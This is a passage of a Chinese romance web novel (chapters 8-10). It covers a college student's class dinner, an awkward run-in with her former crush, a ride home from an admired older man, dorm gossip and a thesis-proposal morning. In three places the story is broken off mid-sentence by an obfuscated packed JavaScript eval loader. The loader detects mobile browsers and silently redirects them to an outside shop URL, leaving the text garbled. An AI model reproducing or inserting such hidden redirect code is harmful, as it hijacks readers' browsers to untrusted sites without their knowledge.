“那是对于别人,你肯定行。”陈昔梦也不是断网的,大概情况当然了解,“所以我说,咱俩不读研也有不读研的好,早些工作,早日经济自由,到时候一起当了上班搭子,还能接着一起吐黑水骂领导。” 想到虽然即将毕业,但两人感情依然能常在,涂栀芝终于高兴了一点,笑道:“那必须的。” 陈昔梦也是这么想的:“现在这世道就这样,没班上的急着找工作,有工作的也讨厌上班,横竖都是没招。不过听说读研也受罪,上班还能跳跳槽,读研若是遇到不好的导师,那就真是上了贼船一条路走到黑。” “都不容易啊。” “行啦!”陈昔梦终于翻身下床,开始翻箱倒柜找衣服,“以后的事情以后再说,咱现在的任务是出去逛街。” “对。”涂栀芝也收起了自己的电脑,准备下床,坐了一上午,眼睛也花了腿也麻了,“正好,下午逛完街晚上还有集体管饭。” - 晚上聚餐的地方定在某私人会所——边的自助海鲜城。 快毕业了,班费也都花得差不多了,能订到自助海鲜城聚餐已经算是大学生集体聚会里的优质选项。 这还得益于班内做过几个集体项目拿了奖金,平时也没怎么乱支出。 虽然没去得成那高档私人会所依然有些遗憾,但自助海鲜城也没啥不好,至少氛围自在。 一个班三十号人,差不多一个宿舍四人一桌,这一片的八个餐座都被他们班承包了。 他们班上男女比相对某些传统工科院系还算比较均衡,四舍再五入一下,勉强能算个二比一。 男生那五桌“半”相对女生这两桌“半”又要热闹多了,一个个开了小麦果汁,挺尽兴。 女生相对斯文礼貌一点,但一个个也是有意放空肚子来这儿享受一顿的。 至于为什么还有“半桌”的说法—— “诶,我还真没见过参加班级聚餐还带外人来的。”中国好室友张媛暗戳戳地说。 而陈昔梦轻嗤一声,话语间更是讽刺:“班长就不说了,他对象毕竟就是咱们直系学妹,平时也熟得很,又是自费来的。好笑的是齐鸢边上那男的,是没饭吃硬蹭吗?” 她是真没想到一语成谶,齐鸢真把俞止带到了他们的班级聚会中,行为之迷惑,令人发指。 陈昔梦:“她直接带着俞止就来了,走到餐厅门口才说。那人都到了班长怎么好意思再请回去?也不好指明了让一个女生出钱。” 孔珺瑶:“要是人人都像她这样,今天带这个朋友来蹭饭,明天又是那个来聚餐,几个冤大头够她坑?” 张媛横批:“茶里茶气。” 张媛本就因为之前保研的事情和齐鸢有点梁子,陈昔梦又是替涂栀芝“打抱不平”。 两人一聊到这些就更是停不下来,手上一边剥着蟹都不忘吐槽。 而真正最有过节的涂栀芝,面上却表现得最淡定。 餐厅之后她就一直专注吃饭,刻意让自己抛开杂念,不去在意他们会不会来。 若不是刚刚张媛和陈昔梦一起挤眉弄眼,她可以装聋作哑吃完整顿饭。 但她偏又知道了,还是控制不住自己的眼睛往那边瞟。 - 眼见着各位都酒足饭饱,班长摇摇晃晃地站起身,安排下一环节。 “一会儿的活动就是在旁边的会所足疗,不过需要自费AA哦。打算先回去的同学可以一起打车,我报销!”提到报销,班长清醒了一点,“但记得要把截图留好发给我。” 班长签了一个很不错的工作,薪资待遇很好,最近关于花钱这方面,底气确实是越来越足。 周围同学又笑成了一片,打算参加活动的三三两两就进了隔壁会所去,剩下的听说报销,二话没说也开始打开软件打车了。 聚餐是全班所有人都参加,所以由班费支出。 而活动是另加的,首先不一定所有同学都去,其次旁边的会所消费比较高,班费也不够这么多了,所以需要自费。 这个安排倒是很符合情理,班长和生活委员考虑都很到位。提前在群里接龙,有多少人饭后想参加活动。原本以为可能没多少人会继续参加集体活动了,但没想到也有一大半的人。 只是这一大半的人里不包括涂栀芝。 集体活动其实她没意见,足疗她也觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781331|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很不错。只是选在了这个消费出了名高的地方,以她现在的经济条件,还是能省一点算一点,便打算先走。 而涂栀芝不参加,陈昔梦便会陪着她。 只是她俩出餐厅偏晚,再想找人拼车都组完了。 既然拼友没了,涂栀芝也不太好意思只和陈昔梦两个人打车还专门找班长报销,想着要么还是坐地铁。 这儿在市中心,离学校虽然有十多公里,但转条线可以直达校门口。 但陈昔梦不太乐意:“我亲爱的栀,这大晚上的地铁上人可多了,我又吃多了站不住,还容易恶心,你也不忍心我去那上面被人挤成馅饼,再吐你一身吧?” 涂栀芝犹豫了一下,点了点头。 陈昔梦微微一笑,点击确认订单,开始打车,又道:“你真是我的好宝!谢谢你陪我回宿舍,小女子无以为报,只能请你坐个专车。” “诶诶诶,别!不用,搞得那么夸张。”涂栀芝笑道。 她当然知道陈昔梦主要是陪自己回宿舍,又怕她纠结,才主动说要出车费。本来就有些不好意思,打专车的“高消费”,就更奢侈了。 “开玩笑而已啦。”陈昔梦把手机递到涂栀芝面前,让她看那打车界面,“前面一共五十多个排队的,也不知道哪来这么多人,我这也是没办法,想早点回去才不得已打得专车。” “这么多人?”涂栀芝若有所思,看了眼时间,“要不我们还是……” “不坐地铁!” - 隔壁会所停车场上。 祝容蓄刚结束应酬。 说是应酬,其实更像私宴,只是觥筹间的交谈内容不可避免地涉及到了双方合作。 站在他对面的老者年逾古稀,头发花白,但依然看起来精神矍铄,甚至有些年轻人都比不了。 “年初收到你的合作邀请,老头子我还不敢相信,没想到,你是真打算为中药推广正经做实事。” 卜翰池是为南派一带鼎鼎有名的中医专家,已经退休多年,平日里除了接受几位亲近学生的拜访,合作交流这还是头一回。 祝容蓄姿态谦虚,却不卑不亢,从容不迫:“晚辈不敢轻易叨扰,唯有带着初成的方案给您过目,才敢顺势提起合作的事。” 卜老看向这位年轻后生的目光赞许有嘉,尤其是今晚的私宴,更让他感觉自己没看错人。 这些年各大互联网公司不是没把目光瞄到中医养生上,但到底隔行如隔山,让一群写代码的了解中医文化,难如登天,便都想请他做指导。 他看过一些方案,但从没一个像祝容蓄这样真诚务实的。 和那些画大饼的不同,祝容蓄对中医文化推广的坚持,几乎到了执着的地步。甚至有些不计后果,不求回报。 卜翰池非常欣慰地说:“我与贵司合作的事,日后可议,但我只有一个要求,对接人必须是你。” “承蒙卜老抬举。” 卜翰池没想到自己晚年还能借着晚辈的光,乘着互联网的东风,用心地推广一次中医文化,不由感慨:“真好。但又有些可惜。” 祝容蓄不明所以:“若还有什么不足之处,烦请您指点。” 卜翰池摆了摆手,笑道:“你已经做得很好了。我只是可惜,涂岳峰那个老东西,当初说要带着中医文化走出国门,这么多年待在北欧结果也没听到他那边传来什么动静,也罢。” “是涂老先生?您当年在宁苏的同门吗?”祝容蓄竟知道。 卜翰池也很意外:“你还听说过他?” 祝容蓄言轻浅答:“涂老先生曾对我父母有恩。” 卜翰池恍然:“这便是你坚持推广中医的原因?” 祝容蓄只是摇头:“并非,只凭这些,或许我还不会像现在这样坚定。但请您相信,我一定会尽我所能做好这件事,还请您不吝赐教。” 8. 第 8 章 涂栀芝和陈昔梦又等了一刻钟过去,前面排队的人少了一半。 但如此推算,恐怕还得再等一刻钟。 “滴——滴——” 正是两人心思动摇之时,耳边便传来两声鸣笛,一辆出租车打着双闪停在了她们面前。 涂栀芝偏过头去想看陈昔梦的手机界面,感觉这辆车应该不是她们能突然打到的。 右面靠近她俩的车窗却摇了下来。 “栀芝。” 有人叫她。 太熟悉的声音。 她瞬间就听了出来,却并不想抬头。 可是对方却不依不饶,仍旧问了下去。 “栀芝,现在打车比较难排队,你们要不要和我们拼一辆车?” 涂栀芝深吸一口气,错开了眼。 这瞬间,她有些恨自己没用。 为什么还是在听到俞止的声音后感到心紧,甚至有些不知所措。 她不断警告自己不要被他这突然的小恩小惠迷惑。 他去年暑假曾那样明确地拒绝了她。 她不甘心,却转眼又撞见他和齐鸢亲密地走在一起,两人腕上的情侣手绳红得扎眼。 后来,她接连变故之时他甚至都没关心过她一句,哪怕一条消息。 如今迟来的这点虚情假意,就像过期变质了的臭鸡蛋,她稀罕吗?她不需要! 涂栀芝的冷脸已经表明了她的选择。 她今天就算是把这十公里走回去,也不可能和俞止还有齐鸢坐同一辆车。 而作为她的最好的朋友,对这些前因后果了解得一清二楚的陈昔梦,只会比涂栀芝本人更讨厌他们,一言不发地拉着栀芝的手往车后走。 没想到,俞止却僵在那里,没有让司机发车。 这是个路口,来往的车辆本来就多,虽然偶尔有一些司机靠边接客,但很快就走了,他让这辆出租车停在这里,只会让本就不畅通的路口愈发红堵。 “真没素质。”陈昔梦心里发堵。 眼见俞止有要下车的趋势,涂栀芝实在不想在大街上跟他拉拉扯扯,更不想上车,进退两难。 出租车后头跟车越来越多,红彤彤亮了一片。 但幸好没有司机再按喇叭,她心里还好受那么一点点。 陈昔梦拦在涂栀芝面前,大声道:“求你们走吧,我今晚就算是和她一起挤地铁也不会恶心自己上你们的车。” 俞止眼神暗了暗,还是自顾自地拉开了车门。 有病。涂栀芝眼睁睁地看着他下车,心中崩溃。 完全看不明白他到底想干什么。 他什么时候学会的锲而不舍? 千万不要告诉她,在他们断联了小半年后他突然后悔了,现在想和她重新认识一回。 那简直是天大的笑话。 “滴——滴——” 终于,大约是后头有车不满这儿加塞,零零散散有了喇叭声催他们。 反倒是那出租车司机不急,打表计价,俞止愿意耗着,也不耽误他计停滞费的用时钱,就是没什么公德心。 后头亮着的双闪渐多,仿佛也成了涂栀芝的心里压力指示灯,让她有些无地自容。 她迈开步子,刚想绕过俞止直接给司机塞一百块钱让他把车开走,惹不起总躲得起,破财消灾算她倒霉。 然而,“嘟——”的又是一声喇叭响。 但音色和方才其他车都不太相同,更为沉闷穿透。 涂栀芝顺着这声音看过去,一辆黑色奥迪停在出租车的前面。 明明超了拥挤段的车,却不着急离开,有些奇怪。 陈昔梦也顺着她的目光看过去,豪车啊,那叫一个低调神秘。 她小声问涂栀芝:“你说这死心眼会不会是激怒了大佬,有人要下车来找他算账了吧?” “我刚还准备问你,”涂栀芝往陈昔梦手机上的打车界面瞟了一眼,“以为是你打的车终于来了。” “诶不是,我的姐,”陈昔梦指了指前头黑色奥迪的车尾标,“他是奥迪我就不说了,还是RS7,你见过哪家开这种车的出来接网约专车的单?” 涂栀芝不以为意。 “不是网上还有人说沪城有富二代晚上开兰博基尼来接单?” 陈昔梦给了她个白眼。 “少刷点短视频,那概率比我中彩票还低。” 为了防止真有涂栀芝说的那种情况发生,她俩又凑到一起盯着手机订单面确认了一次,还有三十几位才轮得到她们,打车平台都赔了两张超时券了,车依然没排出个影。 俞止已经下了车,又听到了她们依然没打上车的消息,幽暗灯光下的眼神还是那样固执。 “既然顺路,你们何必在这儿再花时间等?” 涂栀芝已拒绝和他说话,连虚假的礼貌客套也不想勉强自己伪装。陈昔梦也懒得理他。 喇叭声此起彼伏,气氛焦灼。 俞止沉默地垂下目光,表情却依然未变。 似乎打定了主意要守在这里,笃定她们短时间内打不到车最终还是拗不过他会上车。 而涂栀芝从始至终都没再给他一个眼神,反倒是盯着黑色奥迪的车屁股,越想越觉得不对劲。 这车的背影和昨天的某瞬间渐渐重合——直到她倒吸一口凉气。 如果她记忆还稍微靠谱的话,这辆车,她好像,前不久,才坐过…… 涂栀芝:“完了完了。” 她上午还在互联网上趾高气昂地要给祝容蓄喂脑残片,又欠揍地吐槽他一把年纪了还致青春,结果现实中突然撞见真人,她怂的又像只缩头乌龟。 陈昔梦:“?” 涂栀芝也没回答,就在其他三人疑惑的目光下,左顾右盼。 俞止这边的旧拉扯完全被新恐惧挤占。 毫无准备地碰到祝容蓄,她还是快点找块豆腐撞进去装死比较好。 在发现周围实在没有掩体可以遮身后,涂栀芝最后猛地缩到了陈昔梦后边,掩耳盗铃。 陈昔梦:“……” 玩儿呢,我一米六能挡住你一米七三? 这显然是涂栀芝的自欺欺人,祝容蓄早就已经发现了她,不然根本不会停车。 他打开车门利落地走了过来,一身烟灰色西装合身得体,带着一副无框眼镜,让原本立体锋利的五官多了些许温和,举手投足自带气场,留了几分刚下应酬场的余魄,稳重轻熟。 陈昔梦看呆了。 见到帅哥第一时间就得和闺蜜分享,这是江湖基本规矩。 “涂栀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781332|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芝!” “……”没人应。 “?” 回过头一看,涂栀芝人都不知道到哪去了。 陈昔梦炸毛:“涂栀芝,搞什么?” 人呢?别特么又说老娘看到了帅哥不叫你! 这奥迪哥真是有点东西,她好激动。 四年了,大学整整读到最后一年了,没想到宁苏这地方真的有帅哥是不走下水道开奥迪的,终于让她见到了活的,稀有物种。 “栀芝。” 诶?怎么还有一声? 谁在叫她家姐妹? 卧槽,奥迪哥! 陈昔梦懵了,也不知道涂栀芝这家伙见到人家躲什么,只能不好意思地朝祝容蓄赔了一个笑脸。 祝容蓄也没在意,朝她颇有礼貌地点了点头,算是招呼,又好整以暇地微微歪头,静候。 涂栀芝缩缩脖子,长叹一口气。 然后顶着四个人的目光从陈昔梦身后走了出来,微微颔首。 “祝学长,好巧,好巧。” 心里却在为刚刚画蛇添足的伪装而感到忏悔。 方才那一下动静,除了表现得她不太聪明之外,起到了零个作用。 这祝容蓄也真是的,没看到她都在装不认识想躲了吗,怎么还下车打招呼。 祝容蓄的嘴角却一直翘着,装作没看到路灯下涂栀芝变幻得五颜六色的表情。 他怎么可能放过这样真正巧合的机会和她打招呼。 “你们是室友吗?今晚也在这边吃饭?” 陈昔梦秒答:“对呀,我们今天下午逛街,晚上班级聚餐,这不是快毕业了嘛,公费吃喝!” “看来你们今天心情很不错。” “当然当然!”陈昔梦瞥了俞止一眼,“要是没出某些小乱子的话,今天就完美了。” 陈昔梦这个漏斗,见色忘义,瞬间把她们今天的行程抖了个干净,气得涂栀芝想偷偷在她背后掐她屁股。 而祝容蓄问的话虽然都是陈昔梦在回答,他的眼睛却是看着栀芝的。 祝容蓄看了一眼后面的车,队伍眼见着越排越长,问得恰到好处。 “你们打算回学校吗?刚好顺路,需不需要送你们一程?” “那真是太好了!” 陈昔梦惊喜得差点没忍住原地鼓掌,作势便要往奥迪车那边走—— “哎我草,你打我干嘛!” 涂栀芝最终还是没忍住,掐了陈昔梦的屁股一把。 涂栀芝:“……” 不说话真特么当我透明的是吧? 她收回罪恶的小手,又向祝容蓄做了个“不好意思”的手势,一把拉住陈昔梦转过身去。 “诶不是姐们,你跟他很熟?” 陈昔梦两只眼睛睁得老圆。 “不熟啊,但你的朋友就是我的朋友,你们不是很熟吗?” 涂栀芝敲她脑袋:“熟你个咸鸭蛋。” “别敲了,再敲人真的傻了,”陈昔梦捂着头,才不管这么多,“管他呢,他都专门停车邀请你了,何必不给这个面子,现成的车不坐白不坐。” 涂栀芝犹豫了一会儿,不置可否。 陈昔梦放出必杀技。 “你就说,他和俞止,你坐谁的车?” 9. 第 9 章 涂栀芝的表情比哭还难看,这不废话吗,有的选的话屎壳郎都不会去沾粪球。 但她又实在觉得,这才认识祝容蓄第二天就蹭人家的车,很不礼貌。 况且她知道,祝容蓄家和宁大南校区南辕北辙根本就不顺路,怎么好意思麻烦他? “这不是我们还在打车吗?”她说。 闻言,陈昔梦扬了扬手机,订单排队界面空空如也,“忘跟你说了,早在他抛出橄榄枝那刻,我就已经手比眼快取消了。” 涂栀芝:“地……”铁。 “地不了一点。”陈昔梦不明白了,“他车上没炸药吧?” 涂栀芝摇摇头。 “你也知道他不是人贩子。” 涂栀芝点点头。 陈昔梦一拍手:“那不就行了,大不了下次请他吃饭。” 涂栀芝没招了,她已经欠了人家一顿饭了啊,这么下去就还不清了。 陈昔梦:“行了啊,再拖下去不礼貌了。” 说罢,她拽着涂栀芝回过头,走到祝容蓄身边,这才发现这位“学长”是真的很高,加上涂栀芝也高,她站在中间搞得很像他俩孩子。 于是陈昔梦自觉地把涂栀芝放在了中间位置,又笑着探出脑袋,朝祝容蓄打了个招呼:“那就麻烦学长了。” 祝容蓄悬着的心终于放了下来。 方才和卜老先生聊合作都没这么紧张。 他转身为她们打开后座车门,“不麻烦,举手之劳。” 即便如此,涂栀芝还是有些不太好意思,心里有些过意不去地说:“没想到又蹭了你的车,下次一定请你吃大餐。” 祝容蓄注视着她在车内坐好,周到地关上车门,透过车窗与她对视:“盛情难却,非常期待。” 当着陈昔梦的面,他俩没好意思像网上那样互骚。 - 黑色奥迪扬长而去,俞止留在原地,眼神晦暗不明。 涂栀芝一时不愿意上他的车,他可以理解,但她却上了另一个男人的车,他始料未及。 尤其是她看向那个男人的眼神,让他感受到了前所未有的危机。 倒是那个男人,在后视镜里淡淡地看了他一眼,面无表情,眼神却冷得骇人,毫不遮掩的憎恶。 方才他们并肩从他身边走过的那瞬间,俞止甚至仍然抱有期待,那么希望她能拒绝他的邀请,重新走到他的身边来。 却没想到她如今对自己的态度会冷淡到连陌生人都不如。 明明是她先放弃他的,他只是被动地接受了她似乎不再对自己感兴趣的事实,为什么她却表现得他有天大的过错。 后头加塞的车越来越多,再拖下去就连贪财的出租车司机都要担心自己违章。 “阿止,我们走吧。”齐鸢坐在后座,摇下车窗对他说。 俞止终于回过神来,收回目光,瞥了齐鸢一眼,却没和她多说话,目不斜视地走回了前面副驾驶位。 齐鸢在后座看着他的背影,暗暗捏紧了拳。即便这样,他还是不肯放弃,依然选择她是吗? - 车内安安静静,祝容蓄似乎没有一边开车一边听歌的习惯,车载电脑还显示着某个电台界面,但刚才按了暂停,现在又关小了声音。 陈昔梦现在好奇的事情太多了,又不好意思坐在车里当着当事人的面直接问,两根大拇指敲得飞快,在手机屏上刀光剑影,打字噼里啪啦。 紧接着,便是涂栀芝的手机嗡嗡震动,她都不敢拿起来看。 也不知道陈昔梦智商是不是被螃蟹吃了,这么明显的手机悄悄话,把祝容蓄当傻子蒙啊。 是个人都能知道她俩有话嘴上不说手机说。 哎。 涂栀芝叹了口气,在陈昔梦挤眉弄眼的目光下投了降。 但她并不是举着白旗看手机去了,而是终于把那个在心里琢磨了一百遍的话题问向了祝容蓄:“学长,你今晚也是在这边和朋友聚会吗?” 终于打破了安静,祝容蓄紧握着方向盘的手稍微松了些许,眼神也自然不少。 “不算是,和工作应酬有点关系。” “啊……”涂栀芝拖着尾音,嘴巴张着半天没合拢,“你不是职业经理人吗,当领导的周末也要加班?” 祝容蓄想象到她的可爱表情,眼底笑意加深,“很荣幸能被你记住我的职业,但我到底只是个打工的,也得替人卖命,身不由己。” 虽然这个职业是应付当时上相亲节目瞎说的,但他也没想到她真的记住了。 涂栀芝心底不由泛起一阵同情,就连粗枝大叶的陈昔梦都反应过来,两人异口同声:“辛苦。” 但祝容蓄没觉得,要是一出门加班应酬就能碰到涂栀芝,还能成功将她从其他小男生面前截胡,那他一周可以加十次。 “还好,一切都挺顺利,没有遇到棘手的事。” 涂栀芝不由得多问了句:“拿下难搞的客户了?” “还不错。”祝容蓄单手扶了下眼镜,目光看向远处,又快速收回目光从后视镜里看了她一眼,再回答的话就意有所指了,“不过……又发现了一个新的小问题。” “麻烦吗?” “不算麻烦,只是稍微调整了一下原计划细节,大方向没问题。” 涂栀芝松了一口气:“那就好。” 祝容蓄笑笑没说话,打了个方向上了高架路,专注驾驶。 路程不算近,但车平缓而稳,没多少时间就到了北校门。大概是他还记得,这边进去离涂栀芝的宿舍楼最近。 涂栀芝解了安全带,临走前向祝容蓄再次道谢道别:“今晚真的麻烦学长了,有机会一定好好感谢您,如果您有我能帮的上忙的,我一定在所不辞。” “你能帮得上忙的……在所不辞?”祝容蓄嘴角上扬,细品着这句话。 涂栀芝从他这诡异的笑容中立马领悟出了几分不怀好意,赶紧给自己找后路,“但也不能太过分。” 祝容蓄若有所思地点了点头,“那先欠着,等我以后想到了再说。” “行。”涂栀芝没意见。 “那周一见?” “周一见。” “别鸽我。”祝容蓄趁着陈昔梦没注意,又突然倾过身来小声对涂栀芝说。 语气纯纯戏谑不正经,没有半点叮嘱的担忧。 “……”涂栀芝不仅不想理他,还想回过身来掏他一记下勾拳。 再挑衅她就让他知道什么叫做真正的青春美少女战士。 - “什么周一见?什么周!一!见!!” 方才还在校园小道上,陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781333|190431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昔梦就拉着涂栀芝念叨了一路,现在到了宿舍里,更是刨根问底个没完。 其他两人还没回宿舍,正在会所里嗨着呢,涂栀芝没有救兵,也无力岔开话题,只能老实地把情况向她说了个干干净净。 “卧槽!他就是昨天节目后的那个‘老男人’?”陈昔梦还是觉得不可思议。 她叉着腰,拿着晾衣杆在宿舍里走来走去,巴掌大的地方里转圈圈,晃得涂栀芝眼都花了。 忽然又一拍脑袋,举起晾衣杆谴责涂栀芝:“不对。” 涂栀芝按住陈昔梦的肩膀把她放在椅子里,让她别晃了,没好气地说:“又怎么了?” “我为我自己感到悲伤。”陈昔梦痛心疾首。 涂栀芝:“……?” 陈昔梦一想到自己昨晚是怎么“骂”祝容蓄老男人、变态、奇形怪状、非碳基生物、人类迷惑行为、宁苏怪谈的,霎时脸上一阵青又一阵白。 “真是被你害惨了,嘴里没一句实话。” 涂栀芝很无辜。 “我怎么没说实话了,对你有什么好隐瞒的?刚才也全招了,我发誓我没有保留任何一点。”她竖起三根手指贴在耳边。 “但你特么没告诉我他长得这么帅啊!” 陈昔梦不仅是个看脸的,还是个综合身材、气质、衣品、学历、言谈举止等全方位考量第一影响的。 显然,初见祝容蓄第一眼,她已经被完全拿下。 涂栀芝回忆着自己昨天的话,想了想,“但我记得我昨天的原话就说过,‘抛开这些抽象情节不谈,他长得确实可以,好像还挺有钱’,不是吗?” “是,你确实是这么说的。”陈昔梦没法否认,咬牙看着涂栀芝,心里依然懊悔不已,“但我以为你是寡太久了突然被人打直球一下冲昏了头,为了自己的面子找补才故意这么说的,没想到真让你遇到真的了。” 涂栀芝:“……” 好一个又怕朋友吃男人的苦,但更怕朋友真吃上了好男人的福。 “我要早知道你还能天降彩头遇上这种货色,我哪能说出那种大逆不道的话?今天一见面我就该直接‘嗨,妹夫’。对了,那节目还招不招人,你看我能去报名吗?后面还有没有他这种质量的?” “少来。”涂栀芝翻了个白眼,知道她就是口嗨。 但她又回顾了一下自己曾经看过的所有电视相亲节目,呃……像祝容蓄这种质量的,还真找不出第二个。 但这次陈昔梦难得跃跃欲试,还一边怂恿着涂栀芝:“真不是我说,这种质量的现在太难得了,你要不试试?” 涂栀芝:“你不是昨天还说他脑子感觉不太好使吗?” “谁说的?我怎么不知道。”陈昔梦装作自己什么坏话都不曾说过,又道,“就算退一步来说,真的不太聪明,你上次刷短视频的时候不是说最近偏好这种又帅脑子又有点病的款?” 涂栀芝笑了:“你什么理解能力,我那是喜欢搞抽象的搞笑男,不是这种狂拽酷炫一看就不缺人追的斯文败类。” 陈昔梦凑近了,两眼盯着她,像是在拷问犯人:“你就说还有没有戏吧?” “什么戏不戏的。”涂栀芝打开电脑,打算开始干活了。 “再说吧,八字还没一撇的事,说得他还能真对我有意思似的。” 10. 第 10 章 周一上午是毕业论文开题报告,涂栀芝临时抱佛脚,花了一整个周日的时间,熬到半夜三点终于勉强写出个东西并做了个简单的PPT。 虽然依然没达到她心中的水平,但放在本科生的毕业论文来说,其实已经很不错了。 早上八点半,当闹钟响起的那一刻,涂栀芝还是忍不住捶着脑袋怀疑人生。 早起真是要她命,天塌了。 开题报告九点开始,她又是学号第一个,平时按道理都是第一个演讲,所以不仅不能迟到,还得提前一点到教室。 而且她上午讲完还准备悄悄翘了下午的旁听,毕竟祝容蓄说了一万遍不许放鸽子,“周一下午”跟魔咒一样在她脑子里响了一整个周末。 所以,她就算为了这张脸面,为了自己早就脱口而出立下的誓言,哪怕天上下刀子,她都绝不会迟到一秒。 当涂栀芝走下床的那一刻,发现只有孔珺瑶一人穿戴整齐坐在椅子上,她首先慌了一秒。 然后看到张媛和陈昔梦摆在桌边上床梯口的两双拖鞋,又松了一口气。 这明晃晃地表示那俩还没起床。 拖延这种事情,一旦发现还有人跟着自己一起拖,心里负担就会减轻大半。 孔珺瑶看着涂栀芝笑了,“我就知道,你们仨还得你先起。” 涂栀芝也笑了,“那俩从来都是睡到决赛圈。” 直到涂栀芝洗漱完回到宿舍,才终于看到又一个张媛下了床。 张媛头发还乱糟糟的,拿起牙刷就往洗漱间冲。 下一秒,陈昔梦也起了,带着一肚子起床气“歘”地一下拉开床帘,一边骂骂咧咧道:“真是服了,到底哪个天才想出的本科生毕业论文这种玩意?” 孔珺瑶立马附和:“没错,专门制造电子学术垃圾。” 涂栀芝倒是没想到,一向中庸派的孔珺瑶最近可谓是炮火全开,吐槽次数越来越多了。 一边啃着小面包,表情惊讶,“难得孔老师也这么义愤填膺。” 陈昔梦“哒哒哒”跑下床,三两下换好衣服,闷声道:“那是因为孔老师也开始伸张正义了。” “就是!”孔珺瑶收起电脑背好包,准备出门,“毕业论文已经很形式了,居然还有开题报告这种更扯淡的东西。” 涂栀芝笑着跟上她,“少说两句吧,这可是要杀头的。” 她一手拿着包,一手关上门,跟陈昔梦打了个招呼:“那我俩先走了?” 陈昔梦摆摆手:“快去快去,我不要脸,我等下偏偏要迟到!” 涂栀芝笑得直不起腰:“你小心老谢削你!” - 八点五十九分五十九秒。 陈昔梦最终还是没敢特意迟到,卡在最后一刻进了教室门。 年过半百却依然一头黑发的谢教授正坐在第一排评审位,不怒自威,眼神淡淡地瞥了她一眼。 陈昔梦犹如老鼠见了猫,瞬间被吓成了一只鹌鹑。 幸好报告顺序是按照学号来的,不然就凭着这杀人的眼神,陈昔梦都觉得自己会被老谢当场拎上讲台,就地脱稿报告。 她背着包狗狗祟祟地坐在涂栀芝身边,又看了一眼台上正在接电脑投屏线的男生,疑惑道:“怎么回事,你不是第一个吗?” 涂栀芝叹了口气,很无奈地看了她一眼,欲言又止。 这种关键时刻,还得有精力的孔老师来答疑:“快别提了,本来栀芝想着自己第一个讲完就能坐在后面睡觉,谁知道今天老谢突然改变了主意。” “什么主意?” “他老人家大手一挥,把上台顺序改成学号倒序了。” “为啥?” “还不是为了你。”张媛突然开口了。 陈昔梦傻了:“这跟我有什么关系?” 张媛:“当然是因为他环视教室一周,发现他的爱徒竟然还没有到,这不得把上台顺序换了,好让你别迟到出丑。” “真的假的?”陈昔梦这傻孩子信了,“老谢什么时候这么好心了?” 张媛接着套她:“对啊,咱们谢老就是一直这么的刀子嘴豆腐心,你看,如果我迟到了,聿教授肯定不会这样原谅我的。” 陈昔梦惊呆了。 “假的……”涂栀芝看不下去了,很无语地耷拉着脑袋,“没有预兆,没有原因,他特么怎么能一拍脑袋说改就改?” 她已经气醒了,天知道她临时得知这个消息有多么崩溃! 今天,她比任何人都想第一个讲完,但老谢突然变卦让她从第一个变成最后一个,计划全崩。 她现在非常担心自己的脑袋真的要给祝总摘下来供上去。 真给他说准了,不鸽不鸽的下场就是咕咕咕。 孔珺瑶不知道她坐立难安的原因,却依然好言安慰她,“老谢嘛,想一出是一出很正常。” 这时候,陈昔梦终于反应过来了,抄起手机就要找张媛算账。 “好好好,我错了,不该趁你还没清醒的时候玩你。”张媛滑跪很快,原地求饶,“来来来,听讲了,等会儿还要交‘大众评审’登记表呢。” 答辩“大众评审”也是他们软件工程系一个特色,教授为了让学生不得不听完整场想出来的规定,还要在自己的评分后写出建议和理由。 只不过打分占比在总成绩中占比极低,仅供参考。 涂栀芝盯着面前这张“打分表”,笔头撑着下巴,眼神发愁,大脑已经化成了台高速计算器。 班上一共三十号人,限制的时间是每个人不超过五分钟,但以现在日益严重的内卷情况来看,实际上每个人的报告可能都会有一定的超时,即便及时叫停下台,掐前去后也得六分钟一个人,点评和答辩还得四分钟,每个人十分钟毫不过分。 中间一刻不停的话都得五个小时。 五个小时啊,涂栀芝心里哭爹喊娘。 本来想着第一个说完就悄悄溜走,打分表留给室友解决,现在好了,必须坚守到最后。 她跟祝容蓄约的恰好是下午四点,那时候她估计才刚演讲完,都不一定来得及。 第二只鸽子已经在她的脑海里振翅欲飞,涂栀芝实在不敢想,这鸽子真飞了她会有怎样惨烈的下场,青春美少女的面子往哪搁。 “怎么了?”陈昔梦以为她困得,“还早,你先睡会儿吧,表我帮你填,有事下午再说都来得及。” 涂栀芝思来想去横竖一死,现在贷款焦虑除了破坏自己的心情,也起不到任何作用。 既然没招索性摆烂,“也是,有事下午再说。” 涂栀芝在桌子上半趴了半个上午,但也没真睡着。留了一根神经,想稍微听听其他人的选题。 选题种类大概分两种,一种就是自己想的,报给自己对应的导师审批,但只要没什么大方向错误,一般都能过。 